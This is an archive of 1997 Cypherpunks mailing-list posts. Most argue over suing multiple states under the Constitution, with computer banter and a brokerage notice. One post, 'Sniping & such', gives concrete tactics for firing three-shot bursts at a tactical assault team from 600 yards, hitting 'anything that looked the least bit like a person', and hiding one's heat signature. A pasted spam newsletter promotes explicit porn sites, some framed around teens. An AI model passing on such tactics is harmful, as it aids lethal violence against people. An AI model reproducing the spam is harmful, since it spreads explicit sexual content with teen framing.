> Date: Mon, 29 Dec 97 09:17:55 -0600
> Subject: Re: constitution.amendmentxi.html (fwd)

> Well you can only sue the state that has caused some form of direct damage
> against you.

Really? Where is that in the Constitution? I can't sue a state or the
federal government on an issue of process or procedure unless I *personaly*
have been effected? Malarky. The simple fact that I am a citizen that
*could* be effected is sufficient grounds to file. Especialy considering the
detailing of authority in the 10th.

If this were so I would not be able to file against a law regulating, for
example, a religion unless I happen to be a participant of that religion.
This is clearly not constitutional since any law threating a single
religion by extension can and does threaten all religious freedom in the
country.

> If both Texas and Alaska are doing somthing Unconstitutional
> but Texas is the only one who has directly caused damage then you should
> only be able to sue Texas.

Why? If both states are participating in an illegal action - such as
complying with unconstitutional federal regulations - then even a single
state in which I *don't* reside nor have *ever* been in is a clear threat to
my constitutional rights.  Remember the feds are *required* to guarantee a
constitutional government in *all* states and that all priviliges and
immunitites be recognized by those states - irrespective of my current
geographic location. Now if we accept the argument that the 14th extends my
federal rights to the states then the wrongful action and its application is
even more clearly relevant. However, the 14th is not necessary for this to
be the case.

(thankfuly, since one of my claims is that rights are not equivalent to
priviliges or immunities)

It is the precedence and not the personal application that is
unconstitutional.

> I think that in the majority of
> cases one will find that a greviance will be limited to a single state (I
> think it would be very rare to find a case where all 50 states had
> directly caused damage against an individule).

- Illegal taxation and the compliance of the states in turning over money
  illegaly

- regulation and prohibition of firearms and the states complicancy
  in breaking the 2nd.

- the provisioning and support of military operations relating to the
  Army and Air Force (which is unconstitutional unless part of the Army
  or Navy) for more than 2 year terms.

- the failure of the US govt. to train and arm the militia in the several
  states

- the various federal regulations limiting consensual crimes contrary
  to the letter and spirit of the 9th and 10th.

- the abrogation of the states duties as equals to the federal govt.
  and their duties as a part of the checks and balances of the
  Constitution.

And as a matter of course most other issues resting on Constitutional
jurisdiction involving the willing compliance of state government.

> An example of this would be back in the 50's with the forced segregation
> laws. If you were living in Georga and wished to bring suit against the
> state for violating your rights you would be limited to only suing Georga
> even though AL,FL,SC,NC,TX,AR, all had the same laws on the books.

Nobody that I can find has *ever* even tried to do this so how can it be
undoable? It's a pity there wasn't some young turk back then to give it a
shot - course there doesn't seem to be any young turks now willing to do it
either...;(

Now, if I can figure a way around the Supreme Courts 3 year requirement...



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Mon Dec 29 08:11:05 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 00:11:05 +0800
Subject: Right to sue multiple states... (fwd)
Message-ID: <199712291630.KAA02022@einstein.ssz.com>



Forwarded message:

> From: "William H. Geiger III" 
> Date: Mon, 29 Dec 97 09:39:29 -0600
> Subject: Re: Right to sue multiple states...

> >Clearly my suing say the govenor and legislature of each of the 50 states
> >qualifies as a case involving citizens of different states and therefore
> >there is clearly a right to sue multiple states at the federal level and
> >falls under the responsibility of the Supreme Court.
> 
> Good point execpt are we talking of suing a States' governemnt for damages
> or are we talking of suing individules, who happen to be part of a State's
> government, for damages?

We are talking about suing an individual for their actions in their official
capacity. People sign bills not offices. People commit crimes, offices
can't.

> I think that it is universal that one is
> precluded from suing a memeber of government for carying out the duties of
> office (ie: you can't sue the Governor of Texas for passing a law you
> don't like while you can sue the govenor if hits your car going down the
> road).

I can find nothing in the Constitution that prohibits this, and since the
10th limits the feds authority by extension it is permissible.

 --------------------------------------------------------------------------

			       ARTICLE III. 
 
 
Section 1.  The judicial Power of the United States, shall be invested 
in one supreme Court, and in such inferior Courts as the Congress may from 
time to time ordain and establish.

Section 2.  The judicial Power shall extend to all Cases, in Law and Equity, 
arising under this Constitution, the Laws of the United States, and Treaties 
made, or which shall be made, under their Authority; -- to all Cases affecting 
Ambassadors, other public Ministers and Consuls;

	In all Cases, affecting Ambassadors, other public Ministers and 
Consuls, and those in which a State shall be Party, the supreme Court shall 
have original Jurisdiction.

	The Trial of all Crimes, except in Cases of Impeachment, shall be 
by Jury; and such Trial shall be held in the State where the said Crimes 
shall have been committed; but when not committed within any State, the Trial 
shall be at such Place or Places as the Congress may by Law have directed. 

 ------------------------------------------------------------------------

Clearly the Constitution allows charges against individuals for their actions
while in office. Otherwise how would anyone be impeached?

The person holding an office is responsible for all actions of that office
and are in fact *personaly* responsible for those actions.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From eureka at eureka.abc-web.com  Tue Dec 30 00:25:20 1997
From: eureka at eureka.abc-web.com (eureka at eureka.abc-web.com)
Date: Tue, 30 Dec 1997 00:25:20 -0800 (PST)
Subject: Eureka! Tue Dec 30 '97
Message-ID: <19971230080609.1232.qmail@eureka.abc-web.com>


Welcome to Tuesday's issue of Eureka!

PLAYGAL
This is truly a breathtaking site. Well-designed and easy to
use with  excellent content.  The tour alone has hotter porn
than many other 'free' sites - go see it now. It's explicit,
comprehensive and top quality.  There are 2,000  video feeds
online, free live fucking with sound, 10,000 erotic stories,
1,000s of top quality pix, adult and arcade games, real ama-
teur competitions and much more. Click now and be astounded!
Playgal .... http://www.playgal.com/playgal/banner_abc1.html

EUREKA! is now  available in FOUR languages.  So now you can
choose  from  one  or more  of  these  following  languages!
FRAN�AIS ..... http://eureka.abc-web.com/eureka/francais.htm
DEUTSCH ....... http://eureka.abc-web.com/eureka/deutsch.htm
ESPA�OL ....... http://eureka.abc-web.com/eureka/espanol.htm

THE BABE GALLERY
Go down the page about half way to the galleries. From there
you have a choice of several different woman, each featuring
a decent looking babe in a bunch of poses. Nice pussy shots.
The Babe Gallery .......... http://www.the-babe-gallery.com/

MIDNIGHT DESIRES
We have a free movie here!  You'll need the vivo player.  It
features a terrific  blowjob scene of some hot tramp sucking
off her boss, or is it her office boy? Cool clip with sound!
Midnight ........ http://www.midnightdesires.com/default.htm

SEXTREME
Wow, this site is loaded with easy to surf hot and horny pix
all free for you!  Foreplay, group sex, lesbians, models and
a whole lot more. You might want to bookmark this one! Yeah!
Sextreme .................. http://199.166.219.149/sextreme/

ABNORMALLY BIG BOOBS
Well I guess so!  There are some extra large hooters here to
say the very least.  All of the pix are  listed by boob size 
with great thumbnails. This is a must surf for all tit fans!
Abnormally Big ...... http://204.177.222.200/~paul/boobs.htm
FREE STREAMING VIDEO
Please note that most of these feeds require a Netscape bro-
wser in order to successfully view them. Unfortunately Micr-
osoft's browser does not have all the features of Netscape's
yet.  However, many of the feeds use the RealPlayer and will
work in most browsers.  If you do not have Netscape and want
a free copy click here ... http://www.netscape.com/download/
Just 18 ........................ http://204.244.215.7/teens/

CHAT WITH OTHER READERS
This chat is growing fast, and already there are a number of
regulars  you will meet most days.  It's good to see Eureka!
readers interacting with each other and having a great time!
Just surf in and have fun! ...... http://137.39.63.229/chat/

THE BEST PHONE SEX
Live Hetero 1-on-1, 2-on-1, group, dateline...1-800-644-8779
FREE Hetero live 1-on-1 (international call)...011-678-77416
FREE Gay live 1-on-1 (international call)......011-678-75629 

AMATEUR SITE OF THE DAY
EMERALD:  Another hot  Asian amateur.  This young  lady is a
hoot, she has a wit that almost  outshines her perfect body!
One of  her missions is to  destroy the bimbo image and exp-
lore her  sexuality in  an intelligent,  funny way.  She has
quite a following! ......... http://amateurindex.com/eureka/

TODAY'S FREE PIX
We decided to  start releasing  our super duper  new picture
collection a couple of  days early - and we just know you're
going to enjoy these ones.  There's plenty more variety too!
Pic  1 ........................... http://137.39.63.229/?300
Pic  2 ........................... http://137.39.63.229/?301
Pic  3 ........................... http://137.39.63.229/?302
Pic  4 ........................... http://137.39.63.229/?303
Pic  5 ........................... http://137.39.63.229/?304
Pic  6 ........................... http://137.39.63.229/?305
Pic  7 ........................... http://137.39.63.229/?306
Pic  8 ........................... http://137.39.63.229/?307
Pic  9 ........................... http://137.39.63.229/?308
Pic 10 ........................... http://137.39.63.229/?309
PLEASE VISIT THIS FINE EUREKA! MEMBER SITE
Amazing Teen Cocksuckers
http://pandobox.com
Memberships include,40,000 jpg pix,over 300 live hardcore
feeds, monthly interactive porn magazine, 1 gig of movies
clips, 300 sexy stories and x-rated games to play offline.


------------------------------------------------------------
If you would like to unsubscribe from the Eureka! Newsletter
simply select reply and send us a quick reply to this email.
------------------------------------------------------------





From ravage at ssz.com  Mon Dec 29 08:34:00 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 00:34:00 +0800
Subject: Freedom Forum report on the State of the First Amendment (fwd)
Message-ID: <199712291651.KAA02123@einstein.ssz.com>



Forwarded message:

> Date: Mon, 29 Dec 1997 17:12:06 +0100 (MET)
> Subject: Re: Freedom Forum report on the State of the First Amendment
> From: nobody at REPLAY.COM (Anonymous)

> >Hmmm...
> >
> >Apologies.  In *theory* you have those rights, on *paper*, you have those
> >rights, but in *practice*, you're correct, the Government has power that
> >it gleefully abuses, forcing others to comply w/ political correctness.
> 
> Well no, on paper you do have those rights, and you don't have those
> rights.  Laws have been written so that you do not have those rights.
> Are those laws consitutional?  No.  Does the fascist regime, or the
> average apathetic American care?  No.

All it takes is a small group of individuals willing to fight the fight.
Constitutional democracy is *not* mob rule.

As long as you quit because nobody else will pat you on the shoulder and
tell you how right you are then you aren't freedom loving.

Freedom is a selfish endeavour.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From nobody at REPLAY.COM  Mon Dec 29 08:35:20 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 30 Dec 1997 00:35:20 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: <19971226.145900.12766.0.Lord_Buttmonkey@juno.com>
Message-ID: <199712291612.RAA23544@basement.replay.com>



At 02:45 PM 12/26/97 CST, Matthew L Bennett wrote:
>
>On Thu, 25 Dec 97 01:02:28 EST dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
>writes:
>>lord_buttmonkey at juno.com (Matthew L Bennett) writes:
>>>
>>> Umm, no, freedom doesn't work like that.  If you open a *private*
>>> establishment, you have the right, according to the constitution, to 
>>deny
>>> *anyone* the right to enter or eat in your restraunt.
>>
>>Tell that to Denney's restaurants. (No, not in the United Fascist
>>States of Amerika you can't.)
>
>Hmmm...
>
>Apologies.  In *theory* you have those rights, on *paper*, you have those
>rights, but in *practice*, you're correct, the Government has power that
>it gleefully abuses, forcing others to comply w/ political correctness.

Well no, on paper you do have those rights, and you don't have those
rights.  Laws have been written so that you do not have those rights.
Are those laws consitutional?  No.  Does the fascist regime, or the
average apathetic American care?  No.







From tcmay at got.net  Mon Dec 29 08:54:27 1997
From: tcmay at got.net (Tim May)
Date: Tue, 30 Dec 1997 00:54:27 +0800
Subject: Guns: H&K, G3, 7.62 v 5.56 [Guns]
In-Reply-To: <199712290708.BAA00806@einstein.ssz.com>
Message-ID: 



At 12:08 AM -0700 12/29/97, Jim Choate wrote:
>Hi,
>
>I finaly got around to doing some research on Tim's claim regarding H&K's G3
>being a 5.56 round while the various folks I have been talking to refer to
>it as a 7.62.
>
>Tim's claim that the 7.62 (.308) is actualy the HK-91/G1 and not the G3 is
>correct. The confusion comes from the fact that a few years ago the German

Thanks, Jim, for checking and acknowledging this graciously.

(I do agree with some that weapons arcania is somewhat off-topic for CPs,
but I felt I had to write something when Jim initially corrected my HK-91
usage.)

>H&K 91/G1 is 7.62 (.308) (old standard issue)
>H&K 93/G3 is 5.56 (.223)
>FN/G3 is 7.62 (.308) (current standard issue)
>
>My suggested rifle *is* the H&K 91/G1 which is .308 and the local gun shop
>says used they run in the $1500 to $3000 range. New ones aren't imported.

Though Springfield and Argentine versions, with "thumbhole stocks," have
been available for about $900. These take all the HK-91 accessories,
including magazines.

I came close to buying an HK-91 back in the early 80s, when they were still
under $500. But I never did, and have not been much tempted to get one of
the SAR-9 or suchlike now. For short range (under 200 yards), an AR-15
variant does fine, and for long-range, my Remington Varmint rifle will take
care, hopefully, of any two-legged varmints that wander into range.

I haven't seen Jim's reaction to my point about bolt-action rifles still
being far and away the favored weapon for sniping. Neither an AR-15 variant
nor an HK variant are advised for long-range shots (though either will of
course be capable of such shots...it's just that one wants the absolute
best precsion, and cycling rate is largely immaterial).

As for television, hey, just last night there was a "SWAT situation" in
"The X Files." And while most of the SWAT members were carrying CAR-15s and
such, the marksmen on rooftops, the "snipers," were racking the bolts on
bolt actions. Probably Remingtons PSS rifles, in real life, though the Prop
Department no doubt hands out whatever they have handy.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From news at witcapital.com  Mon Dec 29 08:57:53 1997
From: news at witcapital.com (news at witcapital.com)
Date: Tue, 30 Dec 1997 00:57:53 +0800
Subject: Wit Capital Update: Virtual Roadshow Service Launched
Message-ID: <199712291643.IAA11268@toad.com>





Wit Capital Update
December 29, 1997
www.witcapital.com
Member NASD/SIPC

Wit Capital has launched an exciting new service that will help you learn more about the public offerings on our web site.  For selected Wit Capital offerings, in connection with your review of the prospectus, you'll find "virtual roadshow" presentations available for viewing right on your PC.

A roadshow is the process by which underwriters acquaint investors with the products, people and finances of the company whose stock is to be publicly offered.  Traditionally, only institutional investors are invited to see these presentations, but now you can view them at the click of your mouse.

To view a virtual roadshow, go to the Look at New Issues section of our web site, find the prospectus that interests you and as part of your review of the prospectus, click the button marked View Roadshow.  You'll be asked to download a plug-in called RealPlayer 5.0, for which you'll see easy instructions.

We encourage you to read the complete prospectus for any Wit Capital offering. 












From brianbr at together.net  Mon Dec 29 09:07:26 1997
From: brianbr at together.net (Brian B. Riley)
Date: Tue, 30 Dec 1997 01:07:26 +0800
Subject: Why I Support Microsoft
Message-ID: <199712291701.MAA16873@mx01.together.net>



On 12/29/97 6:47 AM, Patrick May (pjm at spe.com)  passed this wisdom:

>     Okay, so I'm a UNIX-head; I forgot about the Macs (a dangerous
>thing to do, given the ferocity of their supporters).  If the
>government were to adopt my suggestion, two major results would be:
>
>     - The third party market for Linux software would grow rapidly
>       and enormously.
>     - The government's software budget would be reduced dramatically.

 that's OK, we Mac-heads have MacLinkPlus translators, we just get em to 
write another half dozen or so  translators for Linux and Linux file 
system recognitions to the OS, no big deal ... we have always prided 
ourselves that MacOS often reads and processes Windoze documents better 
than WinDoze does ...

Brian B. Riley --> http://members.macconnect.com/~brianbr
  For PGP Keys  

  "In effect, to follow, not to force the public inclination; to give a
   direction, a form, a technical dress, and a specific sanction, to the
   general sense of the community, is the true end of legislature." 
       -- Edmund Burke







From whgiii at invweb.net  Mon Dec 29 09:08:44 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 30 Dec 1997 01:08:44 +0800
Subject: constitution.amendmentxi.html (fwd)
In-Reply-To: <199712291621.KAA01960@einstein.ssz.com>
Message-ID: <199712291709.MAA20718@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291621.KAA01960 at einstein.ssz.com>, on 12/29/97 
   at 11:21 AM, Jim Choate  said:

>Forwarded message:

>> From: "William H. Geiger III" 
>> Date: Mon, 29 Dec 97 09:17:55 -0600
>> Subject: Re: constitution.amendmentxi.html (fwd)

>> Well you can only sue the state that has caused some form of direct damage
>> against you.

>Really? Where is that in the Constitution? I can't sue a state or the
>federal government on an issue of process or procedure unless I
>*personaly* have been effected? Malarky. The simple fact that I am a
>citizen that *could* be effected is sufficient grounds to file. Especialy
>considering the detailing of authority in the 10th.

>If this were so I would not be able to file against a law regulating, for
>example, a religion unless I happen to be a participant of that religion.
>This is clearly not constitutional since any law threating a single
>religion by extension can and does threaten all religious freedom in the
>country.

>> If both Texas and Alaska are doing somthing Unconstitutional
>> but Texas is the only one who has directly caused damage then you should
>> only be able to sue Texas.

>Why? If both states are participating in an illegal action - such as
>complying with unconstitutional federal regulations - then even a single
>state in which I *don't* reside nor have *ever* been in is a clear threat
>to my constitutional rights.  Remember the feds are *required* to
>guarantee a constitutional government in *all* states and that all
>priviliges and immunitites be recognized by those states - irrespective
>of my current geographic location. Now if we accept the argument that the
>14th extends my federal rights to the states then the wrongful action and
>its application is even more clearly relevant. However, the 14th is not
>necessary for this to be the case.

No this flys in the face of 200 yrs of American laws and centuries more of
English law. If your rights have not been infringed then you can't sue. If
the State of Alaska passes a law that christianity is baned unless you are
a citizen of Alaska, and thus your rights have been infringed, you have no
basis to file suit! Now you can fly up to Alaska stay for a few mins and
then file suit as now you have a claim of infringement.

This is no different than if John Doe goes and beats you neighbor with a
baseball bat. You can not file asault charges against him only your
neighbor can.

At the hart of the matter is the theory of decentrialized government and
wether the citizens of one state have the right to force the citizens of
another state to bend to their will. Myself personlly do not want the
people of NY, or TX, dictating to me how I should live in FL any more than
I want the Feds to do so. If you wish to come here and live here then you
should be given an equal voice on how we do things otherwise it's none of
your dam business. This swings both ways. I am sure that you would not
want the people of other states dictating what laws TX must or must not
pass.

>(thankfuly, since one of my claims is that rights are not equivalent to
>priviliges or immunities)

>It is the precedence and not the personal application that is
>unconstitutional.

No what we are getting into is the murky area of "potential to do harm".

>> I think that in the majority of
>> cases one will find that a greviance will be limited to a single state (I
>> think it would be very rare to find a case where all 50 states had
>> directly caused damage against an individule).

>- Illegal taxation and the compliance of the states in turning over money
>  illegaly

>- regulation and prohibition of firearms and the states complicancy
>  in breaking the 2nd.

>- the provisioning and support of military operations relating to the
>  Army and Air Force (which is unconstitutional unless part of the Army
>  or Navy) for more than 2 year terms.

>- the failure of the US govt. to train and arm the militia in the several
>  states

>- the various federal regulations limiting consensual crimes contrary
>  to the letter and spirit of the 9th and 10th.

Well all the above cases seem to be direct grivences against the Federal
Government not the individule States. Now you may have a case for grivence
against TX, you being a citizen of Texas, for complacency in these actions
of the Federal Government but they are really two seperate cases. You have
the greviance against the Fed's for violating the Constution and you have
the greviance against TX for not protecting your rights. Alaska on the
otherhand has no obligation nor right to protect you as you are neither a
citizen or resident of that State and it's powers are limited to it's
boundaries.

>- the abrogation of the states duties as equals to the federal govt.
>  and their duties as a part of the checks and balances of the
>  Constitution.

Here is where you would have a gerviance against the states. Even so you
would be limited to filing a greviance against the state you were a
citizen and/or resident of.

>And as a matter of course most other issues resting on Constitutional
>jurisdiction involving the willing compliance of state government.

>> An example of this would be back in the 50's with the forced segregation
>> laws. If you were living in Georga and wished to bring suit against the
>> state for violating your rights you would be limited to only suing Georga
>> even though AL,FL,SC,NC,TX,AR, all had the same laws on the books.

>Nobody that I can find has *ever* even tried to do this so how can it be
>undoable? It's a pity there wasn't some young turk back then to give it a
>shot - course there doesn't seem to be any young turks now willing to do
>it either...;(

I was only presenting this as a hypothetical senario. I am unaware of
anyone bringing suit against all 50 states this entire discution is of a
hypothetical nature.

>Now, if I can figure a way around the Supreme Courts 3 year
>requirement...

If we could only find a way to create a county of men rather than a county
of sheeple... :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKfYAY9Co1n+aLhhAQFVUQQAhH7TKEMGH0mJ+fxDslJLSDoESDk3x5AL
4xbUFfvwOmu1xVzMTYIY67Y9gx8DB/LFvsg7E6YWOfw1O+BbvgQozC2jH6SNGV8p
tylNLqu2+11OR7/KvAvt+26B5UUi9XsSa40mRgXZ8rpBYvesuDoQr5Ynnvmogq/S
SYu4tPJfMJ4=
=9CsW
-----END PGP SIGNATURE-----






From ravage at ssz.com  Mon Dec 29 09:11:23 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 01:11:23 +0800
Subject: Sniping & such...
Message-ID: <199712291731.LAA02410@einstein.ssz.com>



Hi,

To address Tim's question about bolt-actions. As far as I know the Marine
sniper still uses the Remington 7.62 bolt-action as his arm of choice. The
beauty of the H&K blow-back mechanism is that it is very accurate at long
range compared to other gas operated mechanism.

However, in the situation we are discussion - taking on an assault team with
snipers, aka anti-sniping, this level of accuracy is irrelevant. The goal is
to stop the assault. To this end single shot accuracy is irrelevant. The
reason is that we are not trying to hit a 16 in.^2 piece of brain pan and
*not* hit the hostage in front. What we *are* trying to do is locate and
eliminate specific targets and any ancillary hits to personnel on that end
are a *good* thing. To that end I still like the H&K's because they have
the 3-shot selector. My goal would be to set my IIS to show hot targets as
black, with the black threshold about 90F. I would then pop off a 3-shot
group into anything that looked the least bit like a person. Think of it as
a .308 mini-shotgun at 600 yds. Under those conditions a 6-12 in. spread
*is* a good thing. 

With this in mind, you would want to wear nomex to reduce your heat
signature, a gillie suit for reduced visual targeting, and some sort of cool
suit (from your local auto performance shop) with a modified and remote
dissipator to reduce your heat signature so that *their* scopes don't show
you as black. If you're in your house a good place to put the dissipator
would be in the bathtub or sink. You might also want to cool-suit the gun as
well. If you're in the field the dissipator should go behind and below your
level of site, it's probably a good thing to cover it with dirt or debris as
well.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Mon Dec 29 09:14:28 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 01:14:28 +0800
Subject: constitution.amendmentxi.html (fwd)
Message-ID: <199712291735.LAA02466@einstein.ssz.com>



Forwarded message:

> From: "William H. Geiger III" 
> Date: Mon, 29 Dec 97 10:32:02 -0600
> Subject: Re: constitution.amendmentxi.html (fwd)

> No this flys in the face of 200 yrs of American laws and centuries more of
> English law. If your rights have not been infringed then you can't sue.

The founding fathers took care of this argument also...


 
			THE CONSTITUTION OF THE 
			     UNITED STATES 
  
				ARTICLE VI. 
 
	This Constitution, and the Laws of the United States which shall 
be made in Pursuance thereof; and all Treaties made, or which shall be made, 
under the Authority of the United States, shall be the supreme Law of the 
Land; and the Judges in every State shall be bound thereby, any Thing in the 
Constitution or Laws of any State to the Contrary notwithstanding. 


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From whgiii at invweb.net  Mon Dec 29 09:25:23 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 30 Dec 1997 01:25:23 +0800
Subject: Why I Support Microsoft
In-Reply-To: <199712291701.MAA16873@mx01.together.net>
Message-ID: <199712291723.MAA20855@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291701.MAA16873 at mx01.together.net>, on 12/29/97 
   at 12:01 PM, "Brian B. Riley"  said:

> that's OK, we Mac-heads have MacLinkPlus translators, we just get em to 
>write another half dozen or so  translators for Linux and Linux file 
>system recognitions to the OS, no big deal ... we have always prided 
>ourselves that MacOS often reads and processes Windoze documents better 
>than WinDoze does ...

Hey now that's OS/2 line: "A Better DOS than DOS, a better Windows than
Windows" :))

Right now I am playing with a program called Executor which allows me to
run Mac software on my Intell box. Linux is not a problem as most of the
Linux programs have been ported over to OS/2 using EMX/GCC (my current CLI
is more *nix like than it is OS/2-DOS like). Even XFree86 has been ported
over.

There is even a Win32 project going on to allow the running of Win95/NT
programs under OS/2 (if anyone would *want* to run that crap).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKfbQ49Co1n+aLhhAQHkKwP/QIEDi8wVopjAhO131nCZxRTYyK18U1la
2EUg1nbo5Co98U1YVpXqYjIbRAs6KViHRiscGjxEIgXV8ril2vyYA0r827lZTPYu
ES2PZGbUmT4PHBvEDNeSbHJBfTFmOYH4q8badFW8xZBsvaKatnxDiA0qO/9S9/bI
vs7ikDY81/o=
=9aHv
-----END PGP SIGNATURE-----






From whgiii at invweb.net  Mon Dec 29 09:27:20 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 30 Dec 1997 01:27:20 +0800
Subject: constitution.amendmentxi.html (fwd)
In-Reply-To: <199712291735.LAA02466@einstein.ssz.com>
Message-ID: <199712291728.MAA20900@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291735.LAA02466 at einstein.ssz.com>, on 12/29/97 
   at 12:35 PM, Jim Choate  said:

>Forwarded message:

>> From: "William H. Geiger III" 
>> Date: Mon, 29 Dec 97 10:32:02 -0600
>> Subject: Re: constitution.amendmentxi.html (fwd)

>> No this flys in the face of 200 yrs of American laws and centuries more of
>> English law. If your rights have not been infringed then you can't sue.

>The founding fathers took care of this argument also...


> 
>			THE CONSTITUTION OF THE 
>			     UNITED STATES 
>  
>				ARTICLE VI. 
> 
>	This Constitution, and the Laws of the United States which shall  be
>made in Pursuance thereof; and all Treaties made, or which shall be made,
> under the Authority of the United States, shall be the supreme Law of
>the  Land; and the Judges in every State shall be bound thereby, any
>Thing in the  Constitution or Laws of any State to the Contrary
>notwithstanding. 

I fail to see how this gives you the right to bring suit when you were not
the infringed party??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKfcd49Co1n+aLhhAQHZ5QP/aCkila5OkpkA2AeneLsC/IQ48gYGxyod
dxO+SnlkXIAQvRMbARWW3azFLkXIpKHJFZ5HE+2q6O95mVWP9UWTBUT0/BYIXhAq
AMBsqY30jarBszbn4RCXpt1+vM+1bVxl2CyKkKZpUvPpAFs8TrLwglMFqmp690JD
3yPZi8h9ovE=
=BQvv
-----END PGP SIGNATURE-----






From ravage at ssz.com  Mon Dec 29 09:35:36 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 30 Dec 1997 01:35:36 +0800
Subject: constitution.amendmentxi.html (fwd)
Message-ID: <199712291754.LAA02623@einstein.ssz.com>



Forwarded message:

> From: "William H. Geiger III" 
> Date: Mon, 29 Dec 97 11:22:11 -0600
> Subject: Re: constitution.amendmentxi.html (fwd)

> I fail to see how this gives you the right to bring suit when you were not
> the infringed party??

That's your problem Bill, you don't 'see'.

I am a citizen of the United States, all laws passed at the federal level
and *any* parties which participate in the application of those laws whether
against me or another are in fact threatening my liberty if those laws are
unconstitutional.

You fuck over one citizen, you fuck over all citizens.

*THAT* is what makes me the infringed party.


			AMENDMENTS TO THE CONSTITUTION 
 
				ARTICLE IX. 
 
	The enumeration of the Constitution, of certain rights, shall 
not be construed to deny or disparage others retained by the people. 
 
 
 
				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 
 

 -------------------------------------------------------------------------

